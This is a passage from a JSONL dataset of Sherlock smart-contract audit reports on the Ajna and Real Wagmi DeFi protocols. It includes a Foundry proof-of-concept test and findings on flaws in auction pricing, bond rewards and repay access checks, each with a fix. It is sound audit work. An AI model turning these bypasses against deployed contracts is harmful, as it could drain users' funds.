skip(7 hours);\n\n _assertAuction(\n AuctionParams({\n borrower: _borrower,\n active: true,\n kicker: _lender,\n bondSize: 0.015683167828397025 * 1e18,\n bondFactor: 0.015180339887498948 * 1e18,\n kickTime: block.timestamp - 7 hours,\n referencePrice: 1.189955306913139289 * 1e18,\n totalBondEscrowed: 0.03136633565679405 * 1e18,\n auctionPrice: 0.841425466827200184 * 1e18,\n debtInAuction: 2.066247257258338074 * 1e18,\n thresholdPrice: 1.033160779290608796 * 1e18,\n neutralPrice: 1.189955306913139289 * 1e18\n })\n );\n\n // Make deposit take with both borrowers using bucket of index 4157 and 4158\n _depositTake({\n from: _taker,\n borrower: _borrower,\n kicker: _lender,\n index: 4157,\n collateralArbed: 0.529371703955175008 * 1e18,\n quoteTokenAmount: 0.526738013885746281 * 1e18,\n bondChange: 0.007996062082451769 * 1e18,\n isReward: true,\n lpAwardTaker: 0,\n lpAwardKicker: 0.007707167363903366 * 1e18\n });\n\n _depositTake({\n from: _taker,\n borrower: _borrower2,\n kicker: _lender,\n index: 4158,\n collateralArbed: 0.532018562474950879 * 1e18,\n quoteTokenAmount: 0.526738013885746281 * 1e18,\n bondChange: 0.007996062082451769 * 1e18,\n isReward: true,\n lpAwardTaker: 0,\n lpAwardKicker: 0.007707167363903366 * 1e18\n });\n\n _assertBorrower({\n borrower: _borrower,\n borrowerDebt: 0.514418827487314285 * 1e18,\n borrowerCollateral: 0.470628296044824992 * 1e18,\n borrowert0Np: 1.097764454523452827 * 1e18,\n borrowerCollateralization: 0.914873777741797019 * 1e18\n });\n\n _assertBorrower({\n borrower: _borrower2,\n borrowerDebt: 0.514418827487314285 * 1e18,\n borrowerCollateral: 0.467981437525049121 * 1e18,\n borrowert0Np: 1.103973305914074461 * 1e18,\n borrowerCollateralization: 0.909728440171816372 * 1e18\n });\n\n // Lender merges collateral from index 4157 to 4158\n uint256[] memory removalIndexes = new uint256[](1);\n removalIndexes[0] = 4157;\n _mergeOrRemoveCollateral({\n from: _lender,\n toIndex: 4158,\n noOfNFTsToRemove: 2,\n collateralMerged: 0.529371703955175008 * 1e18,\n removeCollateralAtIndex: removalIndexes,\n toIndexLps: 0.505181261058610317 * 1e18\n });\n\n // Now, lender has at least 1 NFT in bucket 4158\n _assertBucket({\n index: 4158,\n lpBalance: 1.012888428422513683 * 1e18,\n collateral: 1.061390266430125887 * 1e18,\n deposit: 1,\n exchangeRate: 1.037483903606589028 * 1e18\n });\n\n // When lender tries to withdraw that collateral, call reverts with EvmError: Revert\n // This is because `_removeCollateral` tries first to call bucketTokenIds(0) and this call will revert because array is empty\n _removeCollateral({\n from: _lender,\n amount: 1,\n index: 4158,\n lpRedeem: 1 // This arg doesn't matter because `bucketTokenIds(0)` call reverts first\n });\n }\n}\n\n```\n\nAs the test is proving, the lender owns `1.06e18` units of collateral in bucket 4158 so he should be allowed to withdraw a full NFT, but the transaction is reverted because there's no NFTs in the `bucketTokenIds` array.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721Pool.sol#L525-L547\n\n## Tool used\n\nManual Review and reading Hyh's reports :)\n\n## Recommendation\n\nConsider changing `rebalanceTokens` so it rounds borrower's collateral to `floor` instead of `ceil`. So if a borrower has `collateral = 0.9e18`, move the NFT from borrower's array to lender's array.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//003-M/029-best.md"}} +{"title":"Price curve for Current Reserve Auction not updated","severity":"medium","body":"Real Pastel Starfish\n\nmedium\n\n# Price curve for Current Reserve Auction not updated\n## Summary\n\nSince the Ajna update, the price curve of the Dutch auction was changed from a linear function to a new function that allows a more efficient discovery of the price, this change applies to liquidation auctions and to reserves auction. While the liquidation auction has been correctly updated to follow the new function, the reserves auction is not updated and still follows the old linear function.\n\n## Vulnerability Detail\n\nIn the new whitepaper (section **9.1 Buy and Burn Mechanism**) it's stated that:\n\n> The price of the auction decays towards 0 starting with 6 twenty minute halvings, followed by 6 two hour halvings, followed by hour halvings till the end of the 72 hour auction.\n\nIf we look at the code, we see that the function that calculated the auction price for reserves is the following:\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L331-L341\n```solidity\nfunction _reserveAuctionPrice(\n uint256 reserveAuctionKicked_\n) view returns (uint256 price_) {\n if (reserveAuctionKicked_ != 0) {\n uint256 secondsElapsed = block.timestamp - reserveAuctionKicked_;\n uint256 hoursComponent = 1e27 >> secondsElapsed / 3600;\n uint256 minutesComponent = Maths.rpow(MINUTE_HALF_LIFE, secondsElapsed % 3600 / 60);\n\n price_ = Maths.rayToWad(1_000_000_000 * Maths.rmul(hoursComponent, minutesComponent));\n }\n}\n```\n\nThe price curve in the above function decays exponentially with a half life of 1-hour, and it doesn't adhere to the specification in the whitepaper. \n\n## Impact\n\nThe price curve of the reserves auction doesn't follow the specification on the whitepaper so that will cause a more inefficient price discovery, as well as misleading all actors in the auction causing a chaotic and unfair auction. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L331-L341\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adapting the `_reserveAuctionPrice` function to match the specification.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//002-M/019-best.md"}} +{"title":"Wrong auctionPrice used in calculating BPF to determine bond reward (or penalty)","severity":"medium","body":"Skinny Frost Perch\n\nmedium\n\n# Wrong auctionPrice used in calculating BPF to determine bond reward (or penalty)\n## Summary\nAccording to the Ajna Protocol Whitepaper(section 7.4.2 Deposit Take),in example:\n\n\"Instead of Eve purchasing collateral using take, she will call deposit take. Note auction goes through 6 twenty minute halvings, followed by 2 two hour halvings, and then finally 22.8902 minutes (0.1900179029 * 120min) of a two hour halving. After 6.3815 hours (6*20 minutes +2*120 minutes + 22.8902 minutes), the auction price has fallen to 312, 998. 784 · 2 ^ −(6+2+0.1900179) =1071.77\nwhich is below the price of 1100 where Carol has 20000 deposit.\nDeposit take will purchase the collateral using the deposit at price 1100 and the neutral price is 1222.6515, so the BPF calculation is:\nBPF = 0.011644 * 1222.6515-1100 / 1222.6515-1050 = 0.008271889129“.\n\nAs described in the whiterpaper, in the case of user who calls Deposit Take, the correct approach to calculating BPF is to use bucket price(1100 instead of 1071.77) when auctionPrice < bucketPrice .\n\n## Vulnerability Detail\n1.bucketTake() function in TakerActions.sol calls the _takeBucket()._prepareTake() to calculate the BPF.\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/TakerActions.sol#L416\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/TakerActions.sol#L688\n\n2.In _prepareTake() function,the BPF is calculated using vars.auctionPrice which is calculated by _auctionPrice() function.\n```solidity\nfunction _prepareTake(\n Liquidation memory liquidation_,\n uint256 t0Debt_,\n uint256 collateral_,\n uint256 inflator_\n ) internal view returns (TakeLocalVars memory vars) {\n ........\n vars.auctionPrice = _auctionPrice(liquidation_.referencePrice, kickTime);\n vars.bondFactor = liquidation_.bondFactor;\n vars.bpf = _bpf(\n vars.borrowerDebt,\n collateral_,\n neutralPrice,\n liquidation_.bondFactor,\n vars.auctionPrice\n );\n```\n3.The _takeBucket() function made a judgment after _prepareTake() \n```solidity\n // cannot arb with a price lower than the auction price\nif (vars_.auctionPrice > vars_.bucketPrice) revert AuctionPriceGtBucketPrice();\n// if deposit take then price to use when calculating take is bucket price\nif (params_.depositTake) vars_.auctionPrice = vars_.bucketPrice;\n```\n\nso the root cause of this issue is that in a scenario where a user calls Deposit Take(params_.depositTake ==true) ,BPF will calculated base on vars_.auctionPrice instead of bucketPrice. \n\nAnd then,BPF is used to calculate takePenaltyFactor, borrowerPrice , netRewardedPrice and bondChange in the _calculateTakeFlowsAndBondChange() function,and direct impact on the _rewardBucketTake() function.\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/TakerActions.sol#L724\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/TakerActions.sol#L640\n```solidity\n vars_ = _calculateTakeFlowsAndBondChange(\n borrower_.collateral,\n params_.inflator,\n params_.collateralScale,\n vars_\n );\n.............\n_rewardBucketTake(\n auctions_,\n deposits_,\n buckets_,\n liquidation,\n params_.index,\n params_.depositTake,\n vars_\n );\n```\n\n\n## Impact\nWrong auctionPrice used in calculating BFP which subsequently influences the _calculateTakeFlowsAndBondChange() and _rewardBucketTake() function will result in bias .\n\n\nFollowing the example of the Whitepaper(section 7.4.2 Deposit Take):\nBPF = 0.011644 * (1222.6515-1100 / 1222.6515-1050) = 0.008271889129\nThe collateral purchased is min{20, 20000/(1-0.00827) * 1100, 21000/(1-0.01248702772 )* 1100)} which is 18.3334 unit of ETH .Therefore, 18.3334 ETH are moved from the loan into the claimable collateral of bucket 1100, and the deposit is reduced to 0. Dave is awarded LPB in that bucket worth 18. 3334 · 1100 · 0. 008271889129 = 166. 8170374 𝐷𝐴𝐼.\nThe debt repaid is 19914.99407 DAI\n\n----------------------------------------------\n\nBased on the current implementations:\nBPF = 0.011644 * (1222.6515-1071.77 / 1222.6515-1050) = 0.010175.\nTPF = 5/4*0.011644 - 1/4 *0.010175 = 0.01201125.\nThe collateral purchased is 18.368 unit of ETH.\nThe debt repaid is 20000 * (1-0.01201125) / (1-0.010175) = 19962.8974DAI\nDave is awarded LPB in that bucket worth 18. 368 · 1100 · 0. 010175 = 205.58 𝐷𝐴𝐼.\n\nSo,Dave earn more rewards(38.703 DAI) than he should have.\n\nAs the Whitepaper says:\n\"\nthe caller would typically have other motivations. She might have called it because she is Carol, who wanted to buy the ETH but not add additional DAI to the contract. She might be Bob, who is looking to get his debt repaid at the best price. She might be Alice, who is looking to avoid bad debt being pushed into the contract. She also might be Dave, who is looking to ensure a return on his liquidation bond.\"\n\n\n\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/87abfb6a9150e5df3819de58cbd972a66b3b50e3/ajna-core/src/libraries/external/TakerActions.sol#L416\n\n## Tool used\nManual Review\n\n## Recommendation\nIn the case of Deposit Take calculate BPF using bucketPrice instead of auctionPrice .","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//001-M/016-best.md"}} +{"title":"the liquidators arent able to call repay function for liquidating the trader","severity":"info","body":"Broad Viridian Wasp\n\nhigh\n\n# the liquidators arent able to call repay function for liquidating the trader\n## Summary\nthe liquidators arent able to call repay function for liquidating the trader \n## Vulnerability Detail\nthe team said that one of the ways of the liquidation of the borrowers is though the `Repay` \n\nthe team said `Another user csn take over position, liquidator can close it, the owner of position can close it\n` these are the liq ways \n\nalso team said `Closing a position, emergency closing and liquidation are carried out by calling the 'repay' function.`\n\nbut the problem is the repay function doesn't actually allow the liquidators liquidate the borrowers how? \nlets look at this code \n\n\n```solidity \n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\n```\n\nthis code in repay function reverts if the caller is other than borrower it self \n\n## Impact\nliquidatores cannot liquidated trough the repay function way that the team said its not possible\n## Code Snippet\n```solidity \n function repay(\n RepayParams calldata params,\n uint256 deadline\n ) external nonReentrant checkDeadline(deadline) {\n BorrowingInfo memory borrowing = borrowingsInfo[params.borrowingKey];\n // Check if the borrowing key is valid\n (borrowing.borrowedAmount == 0).revertError(ErrLib.ErrorCode.INVALID_BORROWING_KEY);\n\n bool zeroForSaleToken = borrowing.saleToken < borrowing.holdToken;\n uint256 liquidationBonus = borrowing.liquidationBonus;\n int256 collateralBalance;\n // Update token rate information and get holdTokenRateInfo storage reference\n (, TokenInfo storage holdTokenRateInfo) = _updateTokenRateInfo(\n borrowing.saleToken,\n borrowing.holdToken\n );\n {\n // Calculate collateral balance and validate caller\n uint256 accLoanRatePerSeconds = holdTokenRateInfo.accLoanRatePerSeconds;\n uint256 currentFees;\n (collateralBalance, currentFees) = _calculateCollateralBalance(\n borrowing.borrowedAmount,\n borrowing.accLoanRatePerSeconds,\n borrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\n // Calculate liquidation bonus and adjust fees owed\n\n if (\n collateralBalance > 0 &&\n (currentFees + borrowing.feesOwed) / Constants.COLLATERAL_BALANCE_PRECISION >\n Constants.MINIMUM_AMOUNT\n ) {\n liquidationBonus +=\n uint256(collateralBalance) /\n Constants.COLLATERAL_BALANCE_PRECISION;\n } else {\n currentFees = borrowing.dailyRateCollateralBalance;\n }\n\n // Calculate platform fees and adjust fees owed\n borrowing.feesOwed += _pickUpPlatformFees(borrowing.holdToken, currentFees);\n }\n // Check if it's an emergency repayment\n if (params.isEmergency) {\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN);\n (\n uint256 removedAmt,\n uint256 feesAmt,\n bool completeRepayment\n ) = _calculateEmergencyLoanClosure(\n zeroForSaleToken,\n params.borrowingKey,\n borrowing.feesOwed,\n borrowing.borrowedAmount\n );\n (removedAmt == 0).revertError(ErrLib.ErrorCode.LIQUIDITY_IS_ZERO);\n // prevent overspent\n // Subtract the removed amount and fees from borrowedAmount and feesOwed\n borrowing.borrowedAmount -= removedAmt;\n borrowing.feesOwed -= feesAmt;\n feesAmt /= Constants.COLLATERAL_BALANCE_PRECISION;\n // Deduct the removed amount from totalBorrowed\n holdTokenRateInfo.totalBorrowed -= removedAmt;\n // If loansInfoLength is 0, remove the borrowing key from storage and get the liquidation bonus\n if (completeRepayment) {\n LoanInfo[] memory empty;\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, empty);\n feesAmt += liquidationBonus;\n } else {\n BorrowingInfo storage borrowingStorage = borrowingsInfo[params.borrowingKey];\n borrowingStorage.dailyRateCollateralBalance = 0;\n borrowingStorage.feesOwed = borrowing.feesOwed;\n borrowingStorage.borrowedAmount = borrowing.borrowedAmount;\n // Calculate the updated accLoanRatePerSeconds\n borrowingStorage.accLoanRatePerSeconds =\n holdTokenRateInfo.accLoanRatePerSeconds -\n FullMath.mulDiv(\n uint256(-collateralBalance),\n Constants.BP,\n borrowing.borrowedAmount // new amount\n );\n }\n // Transfer removedAmt + feesAmt to msg.sender and emit EmergencyLoanClosure event\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n msg.sender,\n removedAmt + feesAmt\n );\n emit EmergencyLoanClosure(borrowing.borrower, msg.sender, params.borrowingKey);\n } else {\n // Deduct borrowedAmount from totalBorrowed\n holdTokenRateInfo.totalBorrowed -= borrowing.borrowedAmount;\n\n // Transfer the borrowed amount and liquidation bonus from the VAULT to this contract\n Vault(VAULT_ADDRESS).transferToken(\n borrowing.holdToken,\n address(this),\n borrowing.borrowedAmount + liquidationBonus\n );\n // Restore liquidity using the borrowed amount and pay a daily rate fee\n LoanInfo[] memory loans = loansInfo[params.borrowingKey];\n _maxApproveIfNecessary(\n borrowing.holdToken,\n address(underlyingPositionManager),\n type(uint128).max\n );\n _maxApproveIfNecessary(\n borrowing.saleToken,\n address(underlyingPositionManager),\n type(uint128).max\n );\n\n _restoreLiquidity(\n RestoreLiquidityParams({\n zeroForSaleToken: zeroForSaleToken,\n fee: params.internalSwapPoolfee,\n slippageBP1000: params.swapSlippageBP1000,\n totalfeesOwed: borrowing.feesOwed,\n totalBorrowedAmount: borrowing.borrowedAmount\n }),\n params.externalSwap,\n loans\n );\n // Get the remaining balance of saleToken and holdToken\n (uint256 saleTokenBalance, uint256 holdTokenBalance) = _getPairBalance(\n borrowing.saleToken,\n borrowing.holdToken\n );\n // Remove borrowing key from related data structures\n _removeKeysAndClearStorage(borrowing.borrower, params.borrowingKey, loans);\n // Pay a profit to a msg.sender\n _pay(borrowing.holdToken, address(this), msg.sender, holdTokenBalance);\n _pay(borrowing.saleToken, address(this), msg.sender, saleTokenBalance);\n\n emit Repay(borrowing.borrower, msg.sender, params.borrowingKey);\n }\n }\n\n```\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\n## Tool used\n\nManual Review\n\n## Recommendation\n- Consider allowing the liquidators liquidate the positions or make liquidate functions.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/196.md"}} +{"title":"owner of Ownable.sol is not set by default","severity":"info","body":"Refined Macaroon Mouse\n\nmedium\n\n# owner of Ownable.sol is not set by default\n### Summary\nThe owner account will not be the one that deploys the contract and should provided as a constructor argument during deployment.\n\n### Vulnerability Details\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L145-L157\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol\n\nIn openzeppelin v5 we need to explicitely initialize ownable constructor by giving initial owner in arguments but In above codes no call to Ownable(_owner) in it's constructor.\n\n### Impact\nIn case of upgradable contract If we don't initialize ownable explicitely then contract is deployed without owner and In case of non-upgradeable scenario It faces Compilation error.\n\n### Tool Used \nManual \n\n### Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L145-L157\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol\n\n### Recommendation\n\nInitialize Ownable explicitly by providing Ownable(initialOwner) in the constructor.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/194.md"}} +{"title":"the contracts aren't ready for using some tokens that uniswap v3 supports.","severity":"info","body":"Broad Viridian Wasp\n\nmedium\n\n# the contracts aren't ready for using some tokens that uniswap v3 supports.\n## Summary\nthe contracts aren't ready for using some tokens that uniswap v3 supports.\n## Vulnerability Detail\nthe contracts are supposed to not work with FEE-ON-TRANSFER and rebasing tokens as the TEAM said. But the problem is they also said that they accept whatever tokens that uniswap v3 accepts because it is the liquidity source of the contract liquidity flow and the interesting part is the uniswap v3 doesn't accept FEE-ON-TRANSFER tokens but it ACCEPTS Rebasing tokens as uni v3 doc said \nyou can check it in here \nhttps://docs.uniswap.org/concepts/protocol/integration-issues#:~:text=Fee%2Don%2Dtransfer%20Tokens%E2%80%8B,transfer%20tokens%20in%20the%20future.\n\n**|| Rebasing Tokens\nRebasing tokens will succeed in pool creation and swapping, but liquidity providers will bear the loss of a negative rebase when their position becomes active, with no way to recover the loss.**\n\n`Q: Are there any FEE-ON-TRANSFER tokens interacting with the smart contracts?\nno`\n\n`Q: Are there any REBASING tokens interacting with the smart contracts?\nno`\n\nBUT in the same time it accepts every token uni v3 accepts but there is no restriction for rebasing tokens which is pretty accepted in univ3 and since this contracts also accepts it. \n\n\n## Impact\nit will not fit the contracts logic as normal tokens but will succeed in pool creation and swapping, but liquidity providers will bear the loss of a negative rebase when their position becomes active, with no way to recover the loss.\n\nRebasing tokens, which have changing supplies based on factors like market conditions, can introduce a number of risks when used in borrowing contracts\n## Code Snippet\n```solidity \n\n function borrow(\n BorrowParams calldata params,\n uint256 deadline\n ) external nonReentrant checkDeadline(deadline) {\n // Precalculating borrowing details and storing them in cache\n BorrowCache memory cache = _precalculateBorrowing(params);\n // Initializing borrowing variables and obtaining borrowing key\n (\n uint256 feesDebt,\n bytes32 borrowingKey,\n BorrowingInfo storage borrowing\n ) = _initOrUpdateBorrowing(params.saleToken, params.holdToken, cache.accLoanRatePerSeconds);\n // Adding borrowing key and loans information to storage\n _addKeysAndLoansInfo(borrowing.borrowedAmount > 0, borrowingKey, params.loans);\n // Calculating liquidation bonus based on hold token, borrowed amount, and number of used loans\n uint256 liquidationBonus = getLiquidationBonus(\n params.holdToken,\n cache.borrowedAmount,\n params.loans.length\n );\n // Updating borrowing details\n borrowing.borrowedAmount += cache.borrowedAmount;\n borrowing.liquidationBonus += liquidationBonus;\n borrowing.dailyRateCollateralBalance +=\n cache.dailyRateCollateral *\n Constants.COLLATERAL_BALANCE_PRECISION;\n // Checking if borrowing collateral exceeds the maximum allowed collateral\n uint256 borrowingCollateral = cache.borrowedAmount - cache.holdTokenBalance;\n (borrowingCollateral > params.maxCollateral).revertError(\n ErrLib.ErrorCode.TOO_BIG_COLLATERAL\n );\n\n // Transfer the required tokens to the VAULT_ADDRESS for collateral and holdTokenBalance\n _pay(\n params.holdToken,\n msg.sender,\n VAULT_ADDRESS,\n borrowingCollateral + liquidationBonus + cache.dailyRateCollateral + feesDebt\n );\n // Transferring holdTokenBalance to VAULT_ADDRESS\n _pay(params.holdToken, address(this), VAULT_ADDRESS, cache.holdTokenBalance);\n // Emit the Borrow event with the borrower, borrowing key, and borrowed amount\n emit Borrow(\n msg.sender,\n borrowingKey,\n cache.borrowedAmount,\n borrowingCollateral,\n liquidationBonus,\n cache.dailyRateCollateral\n );\n }\n\n```\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465C8-L465C8\n## Tool used\n\nManual Review\n\n## Recommendation\n- Consider restricting the logic for using rebasing tokens (create allow list) .","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/192.md"}} +{"title":"use of block.timestamp for deadline on increase liquidity and decrease liquidity","severity":"info","body":"Ambitious Pine Bobcat\n\nmedium\n\n# use of block.timestamp for deadline on increase liquidity and decrease liquidity\n## Summary\nThe use of `block.timestamp` as the deadline for increaseLiquidity operation can allow miners keep the transaction for longer until it is profitable for them.\n## Vulnerability Detail\n```solidity\n(uint128 restoredLiquidity, , ) = underlyingPositionManager.increaseLiquidity(\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n```\n## Impact\nLoss of funds by the user during market swings\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L358\n- https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L405\n## Tool used\nManual Review\n\n## Recommendation\nAllow timestamp be passed by the user offchain. This can be done on the frontend with `currentTimestamp` + 10 minutes","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/189.md"}} +{"title":"Lack of Borrower Liquidation Check in `TakeOverDebt` Function","severity":"info","body":"Broad Viridian Wasp\n\nmedium\n\n# Lack of Borrower Liquidation Check in `TakeOverDebt` Function\n## Summary\n Lack of Borrower Liquidation Check in `TakeOverDebt` Function\n## Vulnerability Detail\nThe \"take over debt\" function within the borrowing contract lacks a crucial check to determine whether the borrower is already liquidatable before allowing the debt takeover. \n## Impact\nThe lack of a check to assess the borrower's liquidation status means that any user can initiate a debt takeover without verifying the health and eligibility of the borrower. This could lead to unwarranted and frequent debt takeovers, which will destabilize the lending protocol.\n## Code Snippet\n```solidity \n\n function takeOverDebt(bytes32 borrowingKey, uint256 collateralAmt) external {\n BorrowingInfo memory oldBorrowing = borrowingsInfo[borrowingKey];\n // Ensure that the borrowed position exists\n (oldBorrowing.borrowedAmount == 0).revertError(ErrLib.ErrorCode.INVALID_BORROWING_KEY);\n\n uint256 accLoanRatePerSeconds;\n uint256 minPayment;\n {\n // Update token rate info and retrieve the accumulated loan rate per second for holdToken\n (, TokenInfo storage holdTokenRateInfo) = _updateTokenRateInfo(\n oldBorrowing.saleToken,\n oldBorrowing.holdToken\n );\n accLoanRatePerSeconds = holdTokenRateInfo.accLoanRatePerSeconds;\n // Calculate the collateral balance and current fees for the oldBorrowing\n (int256 collateralBalance, uint256 currentFees) = _calculateCollateralBalance(\n oldBorrowing.borrowedAmount,\n oldBorrowing.accLoanRatePerSeconds,\n oldBorrowing.dailyRateCollateralBalance,\n accLoanRatePerSeconds\n );\n // Ensure that the collateral balance is greater than or equal to 0\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN);\n // Pick up platform fees from the oldBorrowing's holdToken and add them to the feesOwed\n currentFees = _pickUpPlatformFees(oldBorrowing.holdToken, currentFees);\n oldBorrowing.feesOwed += currentFees;\n // Calculate the minimum payment required based on the collateral balance\n minPayment = (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;\n (collateralAmt <= minPayment).revertError(\n ErrLib.ErrorCode.COLLATERAL_AMOUNT_IS_NOT_ENOUGH\n );\n }\n // Retrieve the old loans associated with the borrowing key and remove them from storage\n LoanInfo[] memory oldLoans = loansInfo[borrowingKey];\n _removeKeysAndClearStorage(oldBorrowing.borrower, borrowingKey, oldLoans);\n // Initialize a new borrowing using the same saleToken, holdToken\n (\n uint256 feesDebt,\n bytes32 newBorrowingKey,\n BorrowingInfo storage newBorrowing\n ) = _initOrUpdateBorrowing(\n oldBorrowing.saleToken,\n oldBorrowing.holdToken,\n accLoanRatePerSeconds\n );\n // Add the new borrowing key and old loans to the newBorrowing\n _addKeysAndLoansInfo(newBorrowing.borrowedAmount > 0, borrowingKey, oldLoans);\n // Increase the borrowed amount, liquidation bonus, and fees owed of the newBorrowing based on the oldBorrowing\n newBorrowing.borrowedAmount += oldBorrowing.borrowedAmount;\n newBorrowing.liquidationBonus += oldBorrowing.liquidationBonus;\n newBorrowing.feesOwed += oldBorrowing.feesOwed;\n // oldBorrowing.dailyRateCollateralBalance is 0\n newBorrowing.dailyRateCollateralBalance +=\n (collateralAmt - minPayment) *\n Constants.COLLATERAL_BALANCE_PRECISION;\n //newBorrowing.accLoanRatePerSeconds = oldBorrowing.accLoanRatePerSeconds;\n _pay(oldBorrowing.holdToken, msg.sender, VAULT_ADDRESS, collateralAmt + feesDebt);\n emit TakeOverDebt(oldBorrowing.borrower, msg.sender, borrowingKey, newBorrowingKey);\n }\n\n```\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395C1-L464C8\n## Tool used\n\nManual Review\n\n## Recommendation\n Consider implementing these logics to the function \n\n- Collateral-to-debt ratio\n- The current state of the borrower's debt\n- The overall health of the system","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/184.md"}} +{"title":"Invalid caller bypass in LiquidityBorrowingManager.sol repay function","severity":"info","body":"Modern Carob Tardigrade\n\nhigh\n\n# Invalid caller bypass in LiquidityBorrowingManager.sol repay function\n## Summary\nIn LiquidityBorrowingManager.sol any caller can bypass the borrower check in order to repay a loan and receive collateral and profits from the open position.\n\n## Vulnerability Detail\n\nIn the [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) function the check [`(msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L559C13-L561C15) can be bypassed by any caller if the collateralBalance is less than zero.\n\n## Impact\n\nThis could allow a caller to recieve holdToken and profits from the current open position by setting the emergency parameter to false or set it to true to force an emergancy loan closure.\n\n\n## Code Snippet\n\n(msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nI would recommend the collateralBalance check be removed from this condition or for the logical and to be changed to a logical or.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/175.md"}} +{"title":"calling transferToken Function Disrupts Repay Functionality","severity":"info","body":"Rural Powder Rook\n\nhigh\n\n# calling transferToken Function Disrupts Repay Functionality\n## Summary\n\nThis report identifies a critical issue stemming from the improper implementation of the `transferToken` function. This flaw has the potential to disrupt the entire functionality of the `repay` function, rendering it impossible for users to repay their loans or for lenders to access the `repay` function during emergency scenarios.\n\n## Vulnerability Detail\n\nThe `repay` function relies on the `transferToken` function to transfer assets and fees to different users, including borrowers, lenders, and liquidators. However, this implementation falls short of expectations. Consider the following snippet from the repay 